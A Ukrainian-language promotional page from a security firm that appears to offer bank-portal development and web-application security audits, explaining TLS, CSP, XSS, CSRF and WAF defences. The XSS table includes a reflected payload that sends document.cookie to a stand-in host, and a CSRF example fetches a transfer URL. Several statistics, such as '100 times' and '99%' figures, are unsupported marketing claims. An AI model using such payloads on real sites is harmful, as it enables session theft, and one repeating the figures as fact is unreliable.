Банк X втратив дані клієнтів через слабку аутентифікацію — зловмисники отримали доступ до особистих кабінетів і перевели кошти. Після впровадження нашої системи з TOTP та поведінковою аналітикою інциденти припинилися. Такі ситуації — не рідкість: за даними Verizon Data Breach Investigations Report, 81% зломів пов'язано з компрометацією паролів. У фінансовому секторі кожен такий інцидент обходиться в середньому в десятки мільйонів рублів: витрати на розслідування, компенсації клієнтам, штрафи регулятора. Наші рішення забезпечують безпечний портал банку з повним аудитом безпеки. Ми розробляємо захищені портали для банків та фінансових організацій під ключ. Кожен проєкт починається з моделювання загроз і вибору архітектури безпеки, включаючи аналіз поверхні атаки та вимоги регуляторів. Впровадження антифрод-системи на основі машинного навчання скорочує кількість успішних атак у 10 разів, а окупність рішення становить менше 12 місяців. Економія від впровадження нашого антифроду складає до 30% операційних витрат.
Які ризики безпеки вирішує портал для банку?
Основна загроза — компрометація облікових записів і проведення несанкціонованих операцій. Ми впроваджуємо багаторівневий захист:
- Обов'язковий другий фактор: SMS-OTP, TOTP (Google Authenticator) або push-повідомлення. Сесійний токен живе 15–30 хвилин. TOTP у 100 разів надійніше за SMS-паролі.
- Fingerprinting пристрою: при вході з нового девайса — додаткова верифікація за User-Agent, IP, canvas fingerprint, WebGL.
- Шифрування на транспортному рівні: TLS 1.2+ обов'язково, TLS 1.3 рекомендується. Certificate Pinning у мобільних клієнтах.
- Шифрування в базі: column-level encryption (AES-256) для номерів рахунків та залишків, PostgreSQL TDE та ключі в HSM (наприклад, AWS CloudHSM або Яндекс.КМС). Це забезпечує захист навіть при компрометації СУБД.
TOTP-аутентифікація у 100 разів ускладнює перебір паролів порівняно зі звичайним паролем — це підтверджено тестами і робить brute-force атаку практично неможливою за розумний час. Антифрод-система на основі машинного навчання виявляє шахрайство у 5 разів краще за звичайні правила.
Як ми забезпечуємо відповідність вимогам регуляторів?
Фінансовий сектор — найбільш регульований. Наші проєкти проходять аудит за 382-П ЦБ РФ, 719-П, ГОСТ Р 57580.1-2017 та PCI DSS. Для цього проєктуємо систему з урахуванням:
- Незмінний audit log: кожна дія записується в append-only таблицю або через Apache Kafka + Elasticsearch.
- Антифрод у реальному часі: аналізуємо геолокацію, швидкість переміщення, патерни операцій та velocity checks. Використовуємо BI.ZONE, PT AF або власні ML-моделі.
- Ліміти та заморозки: денний ліміт переказів, заморозка при підозрілій активності, підтвердження великих операцій через дзвінок оператора.
Уразливості та захист за OWASP Top 10
- XSS: Content Security Policy
script-src 'self', екранування всього output.
- CSRF: Double Submit Cookie Pattern або SameSite=Strict cookies.
- SQLi: лише параметризовані запити.
- IDOR: перевірка ownership на кожен ресурс.
- Brute force: rate limiting (5 спроб → lockout 15 хвилин) + CAPTCHA.
Порівняння підходів до аутентифікації
| Метод |
Рівень захисту |
UX |
| Пароль + SMS-OTP |
Середній |
Низький (очікування SMS) |
| Пароль + TOTP |
Високий |
Середній (потрібен додаток) |
| Пароль + push |
Високий |
Високий (миттєво) |
| Біометрія + TOTP |
Дуже високий |
Високий |
Що входить у роботу
- Аналітика та проєктування: опис бізнес-процесів, моделювання загроз, вибір стеку.
- Розробка: backend (Java Spring Boot, Go, C# .NET), frontend (React/Next.js, TypeScript), інтеграція з банківськими системами.
- Безпека: впровадження 2FA, WAF, антифроду, шифрування, audit log.
- Тестування: навантажувальне тестування, пентест, перевірка відповідності регуляторам.
- Документація та навчання: адміністративна документація, інструкції для користувачів, навчання служби безпеки.
- Підтримка після запуску: моніторинг, оновлення, регулярні пентести.
Етапи та терміни
- Аналітика та архітектура — 1–2 місяці.
- Розробка MVP — 4–7 місяців.
- Інтеграція та тестування — 1–2 місяці.
- Пентест та аудит — 1 місяць.
- Деплой та запуск — 2 тижні.
Разом MVP: 6–9 місяців. Вартість MVP розраховується індивідуально. Повний функціонал з мобільним додатком та проходженням аудиту 57580: 12–24 місяці.
Технології
| Компонент |
Вимоги |
| Backend |
Java Spring Boot, Go, C# .NET |
| База даних |
PostgreSQL з TDE / Oracle |
| Секрети |
HashiCorp Vault / HSM |
| Черги |
Apache Kafka (audit log, events) |
| WAF |
PT AF, Cloudflare Enterprise, або on-premise |
| Хостинг |
Сертифіковані ЦОД РФ (152-ФЗ) |
Перед запуском обов'язково проводимо пентест від сертифікованої компанії. Регулярні повторні тести — раз на рік або після значних змін.
Ми — команда з 10+ роками досвіду у фінтехі, реалізували 50+ проєктів для банків та фінансових організацій. Ми пропонуємо розробку інтернет-банку під ключ, створюємо особисті кабінети для фінансових організацій. Гарантія якості та сертифікація підтверджують наш багаторічний досвід. Замовте розробку захищеного порталу — отримайте консультацію на старті. Зв'яжіться з нами, щоб обговорити архітектуру та вартість вашого проєкту.
Безпека веб-додатків: що приховує «тихий» злом
Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.
Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.
HTTPS та правильна конфігурація TLS
HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.
В конфігурації Nginx/Apache перевіряємо:
- Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
- Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
- HSTS (Strict-Transport-Security з
includeSubDomains; preload) — браузер більше не робить незахищених запитів
- OCSP Stapling — прискорює перевірку відкликання сертифіката
- Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)
Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.
Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.
Content Security Policy: як він закриває XSS на 99%?
CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.
Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.
Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.
'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.
CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.
Чому XSS залишається найпоширенішою вразливістю?
XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:
| Тип XSS |
Приклад |
Захист |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Екранування виводу, CSP |
| Stored |
Коментар з кодом, збережений в базі |
Валідація вводу, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Уникати innerHTML, використовувати textContent |
Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.
Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.
CSRF: захист форм та API
CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.
CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.
SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.
API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.
WAF та захист від DDoS
WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:
- Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
- AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.
DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).
Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).
Інші обов'язкові заходи
Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).
SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.
Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.
Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.
Як ми працюємо?
-
Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
-
Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
-
Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
-
Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
-
Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.
Що входить в роботу?
- Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
- Готова конфігурація TLS (Nginx/Apache)
- Політика CSP з режимом Report-Only та бойовою версією
- Налаштування WAF та Rate Limiting
- План оновлень залежностей
- Доступи до інструментів моніторингу (Sentry, Datadog)
- 30 днів постаудит-підтримки (консультації, правки)
Терміни та вартість
| Тип робіт |
Строк |
| Security-аудит + hardening (заголовки, TLS, оновлення) |
1–2 тижні |
| Впровадження CSP (Report-Only → продакшен) |
2–4 тижні |
| Налаштування WAF + Rate Limiting + DDoS захист |
1–2 тижні |
| Комплексний security review + пентест |
3–6 тижнів |
Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.